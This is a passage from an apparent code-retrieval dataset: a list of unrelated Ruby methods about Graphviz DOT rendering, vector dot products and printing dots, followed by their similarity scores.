'graph.dot')\n File.open(dotfile, 'w') {|f| f << to_dot(params) }\n system('dotty', dotfile)\n end", "def [](in_index)\n raise RuntimeError, \"[]: Invalid index #{in_index}\" if ((in_index < 0) || (in_index > MAX_DOTS_INDEX()))\n @dots[in_index]\n end", "def dfa2dot(dfa)\n str = \"digraph {\\n\"\n str += \"size=\\\"2,2\\\"\\nratio=1.0\\n\"\n str += \"node [shape=circle]\\n\"\n str += \"preinit [shape=plaintext, label=\\\"\\\"]\\n\"\n (dfa.states - dfa.final_states).each do |state|\n str += state + \"\\n\"\n end\n str += \"node [shape=doublecircle]\\n\"\n dfa.final_states.each do |state|\n str += state + \"\\n\"\n end\n str += \"preinit -> #{dfa.initial_state}\\n\"\n dfa.states.each do |s1|\n dfa.states.each do |s2|\n res = dfa.transitions.find_all { |tr| tr[0] == s1 and tr[1] == s2 }\n unless res.empty?\n label = res.map { |tr| tr[2] }.join(',')\n str += s1 + \"->\" + s2 + \"[label=\\\"#{label}\\\"]\\n\"\n end\n end\n end\n \n str + \"}\"\n end", "def to_dot(*attrs)\n s = \" \\\"#{nid(@src)}\\\" #{edgesymbol} \\\"#{nid(@dest)}\\\" \"\n s << \"[#{@attrs.join(',')}]\" unless @attrs.empty?\n s << \"[#{attrs.join(',')}]\" unless attrs.empty?\n if block_given?\n wl = yield(@weight)\n s << '[' << case wl\n when String, Symbol\n \"label=\\\"#{wl.tr('\"',\"'\")}\\\"\"\n when Enumerable\n wl.join(', ')\n end << ']'\n else\n s << weightlabel(@weight) if linkcount\n end\n s << \";\\n\"\n s\n end", "def dot_and_sleep(interval)\n print('.')\n sleep(interval)\n end", "def dotted_ext(ext)\n ext = ext.to_s and (ext.empty? or ext.start_with?('.')) ? ext : \".#{ext}\"\n end", "def dot_homework(a, b)\n begin\n puts \"#{a.val}・#{b.val} = #{dot(a, b).val}\"\n rescue InvalidCombError\n puts \"#{a.val}・#{b.val} -> 定義されない\"\n end\nend", "def dot(other)\n @x * other.x + @y * other.y + @z * other.z\n end", "def dot(other) \n return (@x * other.x) + (@y * other.y) + (@z * other.z)\n end", "def loading_animation\n type(\"#{@teams[:white].symbols[:King]}\\n#{@teams[:black].symbols[:King]}\\n#{@teams[:white].symbols[:King]}\\n#{@teams[:black].symbols[:King]}\\n\\n\")\n end", "def render_State s\n return if @rendered[s]\n @rendered[s] = true\n\n stream.puts \"\\n// #{s.inspect}\"\n \n sequence = [ ]\n \n if options[:history]\n options[:history].each_with_index do | hist, i |\n if hist[:new_state] && s.is_a_superstate_of?(hist[:new_state])\n sequence << i + 1\n end\n end\n end\n\n dot_opts = {\n :label => dot_label(s),\n :shape => :box,\n :style => \"filled\",\n }\n\n case\n when s.end_state?\n dot_opts[:label] = \"\" # DONT BOTH LABELING END STATES.\n dot_opts[:shape] = :doublecircle\n end\n\n dot_opts = dot_opts_for s, dot_opts\n\n hide_decomposition = dot_opts.delete(:hide_decomposition)\n stream.puts \" // hide_decomposition = #{hide_decomposition.inspect}\"\n\n if (hs = options[:highlight_states]) && hs.include?(s)\n dot_opts[:style] += ',bold'\n end\n\n unless sequence.empty?\n if options[:highlight_state_history] && (s.submachine ? hide_decomposition : true)\n dot_opts[:fillcolor] = :grey\n end\n if options[:show_state_sequence] \n dot_opts[:label] += \"\\\\n(#{sequence_to_s(sequence)})\\\\r\"\n end\n else\n if options[:highlight_state_label_history]\n dot_opts[:fontcolor] = :grey\n end\n if options[:highlight_state_border_history]\n dot_opts[:color] = :grey\n end\n end\n\n dot_opts[:color] ||= :black\n dot_opts[:fontcolor] ||= :black\n dot_opts[:fillcolor] ||= :white\n\n # Dont label FinalStates, it causes too much clutter.\n # Invert the colors to be more like UML.\n case\n when s.end_state?\n dot_opts[:label] = \"\" \n dot_opts[:fillcolor], dot_opts[:fontcolor] =\n dot_opts[:fontcolor], dot_opts[:fillcolor]\n end\n\n if ssm = s.submachine\n # Composite States are rendered as\n # a subgraph cluster with a target and source \"connection point\" for external connections.\n # This is where the dot_name(s, :source || :target) is defined.\n # Subsequence Transitions edges will used these connnection points.\n implicit_dot_opts = dot_opts.dup\n dot_opts[:hide_decomposition] = hide_decomposition\n render_StateMachine(ssm, dot_opts) do\n dot_opts = implicit_dot_opts\n dot_opts[:shape] = :point\n dot_opts[:label] = \"[]\"\n\n stream.puts %Q'\\n subgraph cluster_#{dot_name(s, :source)} {'\n stream.puts %Q{ color=none;}\n stream.puts %Q{ fillcolor=none;}\n stream.puts %Q{ fontcolor=none;}\n stream.puts %Q{ label=\"\";}\n stream.puts %Q{ shape=\"plaintext\";}\n stream.puts %Q{ style=\"none\";}\n\n dot_opts[:color] = :black\n dot_opts[:fillcolor] = :black\n stream.puts \"\\n// Implicit target point for State #{s.to_s}\"\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :target)};}\n\n dot_opts[:color] = :black\n dot_opts[:fillcolor] = :white\n stream.puts \"\\n// Implicit source point for State #{s.to_s}\"\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :source)};}\n stream.puts \"\\n }\\n\"\n end\n return self\n end\n\n # Non-composite States are rendered as simple nodes.\n # In this case dot_name(s, :source || :target) == dot_name(s).\n dot_opts[:style] += ',rounded'\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, [:source, :target])};}\n\n return self\n end", "def dotify(h)\n h.use_dot_syntax = true; h.keys.each{|k| dotify(h[k]) if h[k].is_a?(::Hash)}\n end", "def period(str)\n \"#{str.to_s}.\"\n end", "def dot(x1, y1, x2, y2)\n x1 * x2 + y1 * y2\n end", "def to_dot\n return unless gv_object\n gv_object.to_s\n end", "def render_dot_generic2(graph_name,file_type, opts )\n @graph_data ||= RicGraph.get_dot(graph_name,opts)\n gv=IO.popen(\"/usr/bin/dot -q -T#{file_type}\",\"w+\")\n #gv.puts( Gr aph.to_dot(graph_name,opts) )\n gv.puts( @graph_data )\n gv.close_write\n @generic_svg = {\n :name => graph_name,\n :data => gv.read,\n }\n return @generic_svg[:data]\n end", "def initialize(p='btex $\\bullet$ etex')\n @dot_type = p\n end", "def say(words)\n puts words + '.'\nend", "def x_visualize\n require 'open3'\n Open3.popen3('dot -T svg | display') do |i,o,_|\n i.write to_dot\n i.close\n end\n end", "def dot(point3)\n (@x*point3.x)+(@y*point3.y)+(@z*point3.z)\n end", "def testColorChange\n setDotSelfVariables\n @aColor = Gosu::Color.new( 255, 200, 200, 200 )\n @bColor = Gosu::Color.new( 255, 150, 150, 150 )\n @cColor = Gosu::Color.new( 255, 100, 100, 100 )\n d = Dot.new( 99, 10, 20, @aColor, 5, 0, 2, 50 )\n assert_equal( d.color, @aColor, \"At step 0 expect lit color\" )\n 4.times do d.cycle! end\n assert_equal( d.pulseStep, 4, \"Pulse should be 4 at this point\")\n assert_equal( d.color, @aColor, \"At step 4 still expect lit color\" )\n d.cycle!\n assert_equal( d.color, @bColor, \"At step 6 expect first fade step\" )\n d.cycle!\n assert_equal( d.color, @cColor, \"At step 7 expect second fade step\" )\n 4.times do d.cycle! end\n assert_equal( d.pulseStep, 0, \"Pulse should have wrapped around after 3x2 cycles\") #step 11\n assert_equal( d.color, @aColor ) \n end", "def print_name(name)\n puts name + \".\"\n end", "def say(words)\n puts words + '.' ## <= We only make the change here!\n end", "def render_edge n1, n2, opts = nil\n @edge_count += 1\n\n _logger.debug :e, :prefix => false, :write => true\n\n opts ||= EMPTY_HASH\n\n n1 = dot_name(n1) unless String === n1\n n2 = dot_name(n2) unless String === n2\n\n if opts[:comment]\n edge_puts \" // #{opts[:comment]}\"\n opts.delete(:comment)\n end\n\n edge_puts \" #{n1} -> #{n2} #{dot_opts opts};\"\n end", "def dots(interval = 1, io = $stdout)\n old_sync, io.sync = io.sync, true\n\n thread = Thread.new do\n dot = lambda do\n io.print Dots[\".\"]\n sleep interval and dot.call\n end\n dot.call\n end\n\n yield\n ensure\n io.sync = old_sync\n thread.kill\n end" ]
[ "0.72868466", "0.693596", "0.65800244", "0.656877", "0.64173573", "0.6409262", "0.6397377", "0.63806903", "0.6358959", "0.6352495", "0.6350572", "0.63445705", "0.6341929", "0.6237227", "0.6196156", "0.6196156", "0.6196156", "0.6117147", "0.610647", "0.6054811", "0.5959403", "0.5959403", "0.5959403", "0.589086", "0.58104604", "0.5789923", "0.5789923", "0.5789923", "0.5756313", "0.5737976", "0.5728326", "0.5728326", "0.5728326", "0.5642147", "0.5634408", "0.56342447", "0.56090546", "0.55941087", "0.5533835", "0.55242324", "0.5498", "0.5498", "0.5494819", "0.54714954", "0.54682565", "0.5462154", "0.543288", "0.5429206", "0.5417001", "0.5390064", "0.5366203", "0.5364022", "0.53483534", "0.5323063", "0.53094417", "0.53061426", "0.52862674", "0.52598125", "0.52500844", "0.52326655", "0.52201277", "0.5216748", "0.52138627", "0.52113575", "0.52074265", "0.5124426", "0.51148987", "0.5108886", "0.50904685", "0.5054082", "0.5037007", "0.50358915", "0.49642462", "0.49528602", "0.49499124", "0.49499124", "0.49444622", "0.49304587", "0.49226898", "0.491078", "0.4906713", "0.49010682", "0.4881518", "0.48635113", "0.48620558", "0.4847454", "0.48152673", "0.48132145", "0.48072398", "0.4789", "0.4783949", "0.4781308", "0.4776214", "0.47550115", "0.47456858", "0.47209835", "0.47171527", "0.46930265", "0.46683112", "0.46604902" ]
0.5028269
72
Returns SVG data of the graph, using a temporary file.
def render_graph_svg_data machine, opts = { } require 'tempfile' tmp = Tempfile.new("red_steak_dot") self.file_dot = tmp.path + ".dot" self.file_svg = nil render_graph(machine, opts) result = File.open(self.file_svg, "r") { | fh | fh.read } if opts[:xml_header] == false || options[:xml_header] == false result.sub!(/\A.*?<svg /m, '<svg ') end # puts "#{result[0..200]}..." result ensure tmp.unlink rescue nil File.unlink(self.file_dot) rescue nil File.unlink(self.file_svg) rescue nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def svg\n # Only recompile the SVG if it doesn't already exist\n unless File.exist? self.svg_name\n File.open(\"#{@name}.tex\", 'w') { |f| f.write document }\n # TODO Catch pdflatex errors\n system \"lib/latex2svg #{@name}\"\n end\n # Unless latex2svg was successful, use a placeholder SVG\n copy_placeholder unless File.exist? self.svg_name\n return File.read self.svg_name\n end", "def embed_svg(svg:)\n t = Tempfile.new(['embed','.svg'])\n t.write svg\n t.close\n t.path\n end", "def burn\n raise \"No data available\" unless @data.size > 0\n \n calculations if respond_to? :calculations\n\n start_svg\n calculate_graph_dimensions\n @foreground = Element.new( \"g\" )\n draw_graph\n draw_titles\n draw_legend\n draw_data\n @graph.add_element( @foreground )\n style\n\n data = \"\"\n @doc.write( data, 0 )\n\n if @config[:compress]\n if @@__have_zlib\n inp, out = IO.pipe\n gz = Zlib::GzipWriter.new( out )\n gz.write data\n gz.close\n data = inp.read\n else\n data << \"<!-- Ruby Zlib not available for SVGZ -->\";\n end\n end\n \n return data\n end", "def create_svg filename, script=nil\n vis = Interpreter.new(filename, script).eval_script\n svg = vis.to_svg\n end", "def render_dot_generic2(graph_name,file_type, opts )\n @graph_data ||= RicGraph.get_dot(graph_name,opts)\n gv=IO.popen(\"/usr/bin/dot -q -T#{file_type}\",\"w+\")\n #gv.puts( Gr aph.to_dot(graph_name,opts) )\n gv.puts( @graph_data )\n gv.close_write\n @generic_svg = {\n :name => graph_name,\n :data => gv.read,\n }\n return @generic_svg[:data]\n end", "def show_svg(path)\n File.open(\"app/assets/images/svg_img/#{path}\", \"rb\") do |file|\n raw file.read\n end\n end", "def inline_svg(file)\n file = File.open(\"app/assets/images/svg/#{file}.svg\", \"rb\")\n raw file.read\n end", "def save_svg(filename)\n File.open(\"#{filename}.svg\", 'w') { |f| f.write(to_svg) }\n end", "def raw_svg(path, color = nil)\n assert_type path, :String\n assert_type color, :Color unless color.nil?\n\n svg = _read_svg_file_and_recolor_paths(path, color)\n\n Sass::Script::String.new(\"'#{svg}'\")\n end", "def inline_svg(path)\n file = File.open(\"public/images/#{path}\", \"rb\")\n file.read\n end", "def svg_path\n name = @options[:comune] || '\\1'\n @dataset_file_path.gsub(/(.+)\\.geojson$/, \"#{name}.svg\")\n end", "def to_data_uri\n \"url(data:image/svg+xml;base64,#{to_base64});\"\n end", "def to_svg\n draw\n invert_coords\n \n polygon = @coords.values.map { |c| c.join(',') }.join(' ')\n labels = ''\n \n t.each { |v| labels << vertex_label(v) << vertex_arc(v) << vertex_value(v) }\n t.each { |v| labels << edge_label(v) } # Needs to be drawn last in order to make ImageMagick render it correctly.\n \n <<-EOT\n<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"no\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" width=\"#{canvas_size}\" height=\"#{canvas_size}\">\n<polygon fill=\"#f5eae5\" stroke=\"#993300\" stroke-width=\"1\" points=\"#{polygon}\"/>\n#{labels}</svg>\nEOT\n end", "def get_svg_in_storage_to_pdf(src_path, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_svg_in_storage_to_pdf_with_http_info(src_path, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_svg_in_storage_to_pdf_with_http_info(src_path, opts)\n else\n raise\n end\n return data\n end", "def create_layered_svg_file\n dom = REXML::Document::new(File.new(@basename))\n layer_data = read_relevant_data_from_svg\n patterns = @pattern.split(\"_\")\n merged_nums = []\n for pattern in patterns\n range_computer = RangeComputer.new pattern, layer_data\n merged_nums += range_computer.range\n end\n for num in 1..layer_data.length\n if merged_nums.index(num) != nil\n next\n end\n index = num - 1\n layer_id = layer_data[index][\"id\"]\n dom.root.each_element_with_attribute(\"id\", value=layer_id) {|e|\n e.add_attribute(\"opacity\", \"0.0\")\n }\n end\n xml_string = dom.to_s\n new_xml_file = File.open @filename, \"w\"\n new_xml_file << xml_string\n new_xml_file.close\n end", "def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end", "def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end", "def save(file_name)\n\t\tsvg = File.new(file_name, \"w\")\n\t\tsvg.puts(doc.to_html)\n\t\tsvg.close\n\tend", "def example(request,response2)\n `rsvg-convert /tmp/chart.svg -o /tmp/chart.png`### Conversion of charts from .svg format provided by GerbilCharts to .png format\n file=File.read(\"/tmp/chart.png\")\n response2[\"Content-Type\"] = \"image/png\"\n response2.write(file)\n response2.finish\n end", "def svg(s)\n convert(s, mime: 'image/svg+xml')\n end", "def to_svg\n if (@fullscreen or @layout.fullscreenmap)\n #then we can skip the subscreen rendering with tempfiles and dump the map's svg\n funkygps.map.to_svg\n else\n out = %{<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\\n}\n out << %{<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\\n}\n out << %{<svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" width=\"#{width}px\" height=\"#{height}px\">\\n}\n @layout.subscreens.each do |subscreen|\n out << add_svg(x: @layout.x(of:subscreen), y: @layout.y(of:subscreen), width: @layout.width(of:subscreen), height: @layout.height(of: subscreen), svg: funkygps.instance_variable_get(subscreen).to_svg) if @layout.is_visible(screen: subscreen)\n end\n out << %{</svg>}\n out\n end\n end", "def graphs\n @graphs ||= begin\n graphs = []\n graphs << {data: data, format: RDF::Format.for(data_file.to_s).to_sym} if data_file\n graphs + graphData.map do |g|\n {\n data: RDF::Util::File.open_file(g.graph.to_s, &:read),\n format: RDF::Format.for(g.graph.to_s).to_sym,\n base_uri: g.basename\n }\n end\n end\n end", "def get_output_file(graph)\n if @graph_to_file.key? graph\n @graph_to_file[graph] \n else\n filename = graph.rpartition(/\\/|#/).pop\n filename = if @graph_to_file.any? { |_, value| File.basename(value.path) == filename + \".nt\" }\n filename + Digest::SHA1.hexdigest(graph) + \".nt\" \n else\n filename + \".nt\"\n end\n @graph_to_file[graph] = File.open(File.join(\"tmp\", filename), \"a\")\n end\n end", "def get_graph_data\n throw 'No report found' unless get_report_from_params\n report_from_cache = Rails.cache.read(report_cache_key(params[:id], params[:virtual]))\n unless report_from_cache.nil?\n render :text => report_from_cache[params[:graph]], :layout => false\n else\n render :text => GraphBuilder.create_empty_graph, :layout => false\n end\n end", "def get_pdf_in_storage_to_svg(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_pdf_in_storage_to_svg_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_pdf_in_storage_to_svg_with_http_info(name, opts)\n else\n raise\n end\n return data\n end", "def create\n @svg_file = Cmtool::SvgFile.new(svg_file_params)\n\n respond_to do |format|\n if @svg_file.save\n format.html { redirect_to(cmtool.svg_files_path, :notice => I18n.t('cmtool.action.create.successful', :model => Cmtool::SvgFile.model_name.human)) }\n format.xml { render :xml => @svg_file, :status => :created, :location => @svg_file }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @svg_file.errors, :status => :unprocessable_entity }\n end\n end\n end", "def embedded_svg(filename, options = {})\n doc = Nokogiri::HTML::DocumentFragment.parse(File.read(Rails.root.join('app', 'assets', 'images', filename)))\n if options[:class].present?\n doc.at_css('svg')['class'] = \"svg svg--#{File.basename(filename, '.*').parameterize} #{options[:class]}\"\n else\n doc.at_css('svg')['class'] = \"svg svg--#{File.basename(filename, '.*').parameterize}\"\n end\n raw doc\n end", "def create_modified_svg(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :POST, 'File')\n end", "def getgpx\n trek = Trek.find_by_id(params[:id])\n send_file trek.get_gpx(), :type => \"text/xml\", :disposition => \"inline\"\n end", "def to_svg\n image.to_s\n end", "def show\n @svg_file = Cmtool::SvgFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @svg_file }\n end\n end", "def x_visualize\n require 'open3'\n Open3.popen3('dot -T svg | display') do |i,o,_|\n i.write to_dot\n i.close\n end\n end", "def process_graphviz(data)\n data.gsub(/\\<graphviz\\>\\s*([\\s\\S]*?)\\s*\\<\\/graphviz\\>/m) do\n id = Digest::SHA1.hexdigest($1)\n\n # Write graphviz graph to temp file\n tmp = Tempfile.new ''\n tmp.write $1\n tmp.close\n\n out_path_dir = ::File.expand_path ::File.join(@wiki.path, 'tmp')\n Dir.mkdir out_path_dir unless ::File.exists? out_path_dir\n out_path = ::File.join(out_path_dir, id)\n\n system \"#{@wiki.dot} -Tpng -o #{out_path}.png #{tmp.path}\"\n\n # Clean up tmp file\n tmp.delete\n\n # Replace graph with img link\n %Q(<img alt=\"Graphviz image\" src=\"/tmp/#{id}.png\">)\n end\n end", "def put_svg_in_storage_to_pdf(name, src_path, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = put_svg_in_storage_to_pdf_with_http_info(name, src_path, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = put_svg_in_storage_to_pdf_with_http_info(name, src_path, opts)\n else\n raise\n end\n return data\n end", "def get_svg_in_storage_to_pdf_with_http_info(src_path, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_svg_in_storage_to_pdf ...\"\n end\n # verify the required parameter 'src_path' is set\n if @api_client.config.client_side_validation && src_path.nil?\n fail ArgumentError, \"Missing the required parameter 'src_path' when calling PdfApi.get_svg_in_storage_to_pdf\"\n end\n # resource path\n local_var_path = \"/pdf/create/svg\"\n\n # query parameters\n query_params = {}\n query_params[:'srcPath'] = src_path\n query_params[:'adjustPageSize'] = opts[:'adjust_page_size'] if !opts[:'adjust_page_size'].nil?\n query_params[:'height'] = opts[:'height'] if !opts[:'height'].nil?\n query_params[:'width'] = opts[:'width'] if !opts[:'width'].nil?\n query_params[:'isLandscape'] = opts[:'is_landscape'] if !opts[:'is_landscape'].nil?\n query_params[:'marginLeft'] = opts[:'margin_left'] if !opts[:'margin_left'].nil?\n query_params[:'marginBottom'] = opts[:'margin_bottom'] if !opts[:'margin_bottom'].nil?\n query_params[:'marginRight'] = opts[:'margin_right'] if !opts[:'margin_right'].nil?\n query_params[:'marginTop'] = opts[:'margin_top'] if !opts[:'margin_top'].nil?\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['multipart/form-data'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'File')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_svg_in_storage_to_pdf\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def save_file(output = 'output.svg', options = {})\n format = File.extname(output).gsub!(/\\./,'')\n if format == 'svg'\n svg = File.open(output, 'w')\n svg << @svg\n svg.close\n else\n image = Magick::Image::from_blob(@svg)[0]\n image.change_geometry!(options[:size]) { |cols, rows, img| img.resize!(cols, rows) } unless options[:size].nil?\n image.write(output) {\n self.format = format\n self.quality = options[:quality] || 100\n }\n end\n end", "def graph\n @graph ||= begin\n if options.reload or not File.exists? options.cache_file\n dg = Util::DirectedGraph.new kextlist\n File.open(options.cache_file, 'w', 0644) { |f| f.puts dg.to_yaml }\n dg\n else\n YAML.load_file options.cache_file\n end\n end\n end", "def draw(stream)\n @xml = Builder::XmlMarkup.new(:target=>stream, :indent=>2)\n @xml.instruct!\n @xml.declare! :DOCTYPE, :svg, :PUBLIC, \"-//W3C//DTD SVG 1.1//EN\", \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\n @xml.svg(:width=>\"#{PHYSICAL_WIDTH}#{PHYSICAL_UNITS}\",\n :height=>\"#{PHYSICAL_HEIGHT}#{PHYSICAL_UNITS}\",\n :viewBox=>\"#{MIN_X} #{MIN_Y} #{WIDTH} #{HEIGHT}\",\n :xmlns=>NAMESPACE,\n :version=>VERSION) do |page|\n @slist.each_with_index do |series, i|\n page.g(:transform=>\"translate(#{MARGIN}, #{i * @spacing})\") do |panel|\n panel.g(:transform=>\"scale(#{@yscale})\") do |caption|\n caption.text(:x=>\"-#{TSIZE}\",\n :y=>\"#{MARGIN}\",\n :'font-size'=>\"#{TSIZE}\",\n :'font-family'=>\"Verdana\",\n :'text-anchor'=>\"end\") do |textlabel|\n textlabel.text! series.name\n end\n end\n widthscale = Float(WIDTH - MARGIN)/series.total\n boxdepth = DEPTH/widthscale\n panel.g(:transform=>\"scale(#{widthscale})\") do |core|\n core.rect(:x=>\"0\", :y=>\"0\", :width=>\"#{series.total}\", :height=>\"#{boxdepth}\", :fill=>\"goldenrod\")\n cx = (-series.offset).to_s\n series.rings.inject(0) do |x, ring|\n ring_width, ring_start = ring\n ew_width = 0.75 * ring_width\n r_e, r_w = ring_start + ew_width, ring_start + ring_width\n p_a_x, p_b_x = x + ew_width, x + ring_width\n data = \"M#{p_a_x},0 H#{p_b_x} A#{r_w},#{r_w} 0 0,1 \"\n data << case\n when r_w <= boxdepth\n p_c_y, p_d_y = Math.sqrt(r_w**2 - series.offset**2), Math.sqrt(r_e**2 - series.offset**2)\n \"0,#{p_c_y} V#{p_d_y} A#{r_e},#{r_e} 0 0,0 \"\n when r_e > boxdepth && Math.sqrt(r_e**2 - boxdepth**2) > series.offset\n p_c_x, p_d_x = Math.sqrt(r_w**2 - boxdepth**2) - series.offset, Math.sqrt(r_e**2 - boxdepth**2) - series.offset\n \"#{p_c_x},#{boxdepth} H#{p_d_x} A#{r_e},#{r_e} 0 0,0 \"\n when Math.sqrt(r_w**2 - boxdepth**2) <= series.offset\n p_c_y, p_d_y = Math.sqrt(r_w**2 - series.offset**2), Math.sqrt(r_e**2 - series.offset**2)\n \"0,#{p_c_y} V#{p_d_y} A#{r_e},#{r_e} 0 0,0 \"\n else\n p_c_x, = Math.sqrt(r_w**2 - boxdepth**2) - series.offset\n p_d_y = Math.sqrt(r_e**2 - series.offset**2)\n \"#{p_c_x},#{boxdepth} H0 V#{p_d_y} A#{r_e},#{r_e} 0 0,0 \"\n end\n data << \"#{p_a_x},0 Z\"\n core.path(:d=>data, :'stroke'=>\"none\", :fill=>\"saddlebrown\")\n p_b_x\n end\n end\n end\n end\n end\n end", "def make_image(options={})\n file = options.fetch :file, nil\n suffix = options.fetch :suffix, nil\n type = options.fetch :type, 'svg'\n\n unless file\n unless suffix\n suffix = dot_plot_number\n self.dot_plot_number += 1\n end\n if suffix.is_a? Integer\n suffix = suffix.to_s.rjust 5, '0'\n end\n graph_name = uid || 'graph'\n file = \"#{graph_name}-#{suffix}.#{type}\"\n end\n info \"Writing the graph image: '#{suffix}' to the file: '#{file}'\"\n command = ['dot', '-T', type, '-o', file]\n Open3.popen2e(*command) do |stdin, out, process|\n stdin.puts to_dot\n stdin.close\n output = out.read\n debug output unless output.empty?\n process.value.exitstatus == 0\n end\n end", "def snapshot()\n\t\tif(@wait != -1 && @count < @wait)\n\t\t\t@count += 1\n\t\t\treturn\n\t\tend\n\t\t\n\t\tif (! @quiet)\n\t\t\tputs \"Snapshot ##{@count}\"\n\t\tend\n\t\t\n\t\tnewName = File.basename(@file.path, \".svg\") + \"#{@count}\"\n\t\t@count += 1\n\t\t\n\t\t## Save a new SVG file\n\t\tsave(newName + \".svg\")\n\t\t\n\t\t## Convert to EPS\n\t\tif (@eps)\n\t\t\tsystem(\"#{@inkscape} -E=#{newName}.eps #{newName}.svg -z -d=90 -C --export-ignore-filters 2>/dev/null\")\n\t\tend\n\t\t\n\t\t## Delete the SVG file\n\t\tif (@cleanup)\n\t\t\tFile.delete(newName + \".svg\")\n\t\tend\n\tend", "def modify_svg(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'File')\n end", "def slice(svg_file, id = false, width = false, height = false)\n svg_data = IO.read(svg_file.to_s)\n return svg_data unless id\n\n doc = Nokogiri::XML(svg_data)\n\n node = doc.css(\"\\##{id}\").first\n\n #remove any transforms on the group\n \n node.remove_attribute 'transform'\n \n template_doc = Nokogiri::XML(@template)\n\n container = template_doc.css(\"svg\").first\n \n # if width && height\n container.set_attribute('viewBox', \"0 0 #{width} #{height}\")\n # end\n # binding.pry\n container.add_child node\n container.to_xml.sub('<default:g', '<g')\n end", "def new\n @svg_file = Cmtool::SvgFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @svg_file }\n end\n end", "def svg_image(image)\n raw image.data\n rescue Dragonfly::Job::Fetch::NotFound\n \"Image missing\"\n end", "def svg_image(image)\n raw image.data\n rescue Dragonfly::Job::Fetch::NotFound\n \"Image missing\"\n end", "def etail\n puts '</svg>'\nend", "def plot(path = nil, **options)\n options[:output] ||= path\n plot_options = mix_options(options) do |plot_opts, anim_opts|\n plot_opts.merge(term: ['gif', anim_opts])\n end.to_h\n need_output = plot_options[:output].nil?\n plot_options[:output] = Dir.gnuplot_tmpname('anim') if need_output\n terminal = Terminal.new\n multiplot(terminal, plot_options)\n # guaranteed wait for plotting to finish\n terminal.close\n if need_output\n result = File.binread(plot_options[:output])\n File.delete(plot_options[:output])\n else\n result = nil\n end\n result\n end", "def generate_charts(filename)\n contents = File.open(filename) { |f| f.read }\n contents.scan( /<!-- @tchart (.*?) -->(.*?)<!-- @end -->/m ) do |fn, spec|\n puts fn\n Dir.chdir(\"images/src\") do\n File.open(\"drawing.txt\", \"w\") { |f| f.write(spec) }\n system \"tchart drawing.txt drawing.tikz\"\n system \"pdftex -interaction=batchmode drawing.tex > /dev/null\"\n system \"pdfcrop --margins '30 5 30 10' drawing.pdf cropped.pdf > /dev/null\"\n system \"gs -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -r100 -sDEVICE=jpeg -dJPEGQ=100 -sOutputFile=../#{fn} cropped.pdf\"\n system \"rm drawing.txt drawing.tikz drawing.pdf cropped.pdf drawing.log drawing.pgf\"\n end\n end\nend", "def write_png_from_svg(input, output, width, height)\n success = true\n begin\n Magick::Image.read(input).first.resize(width, height).write(output)\n rescue\n success = false\n end\n success\nend", "def temporary_file(path)\n tmp_path = temporary_path(path)\n file = open(tmp_path)\n files_to_close << file\n file\n end", "def render(svg, options = {})\n setup_variables(options)\n coords = generate_coordinates(options)\n \n draw(svg, coords, options)\n end", "def graphic(number)\n File.open(\"#{frame_id(number)}.svg\", \"w\") do |file|\n file.write render(\"bit101_style.erb\")\n end\n\n system(\"convert #{frame_id(number)}.svg #{frame_id(number)}.jpg\")\n # system(\"java -jar ~/Downloads/batik-1.7/batik-rasterizer.jar #{frame_id(number)}.svg\")\n File.unlink(\"#{frame_id(number)}.svg\")\n\n print \"+\"\nend", "def 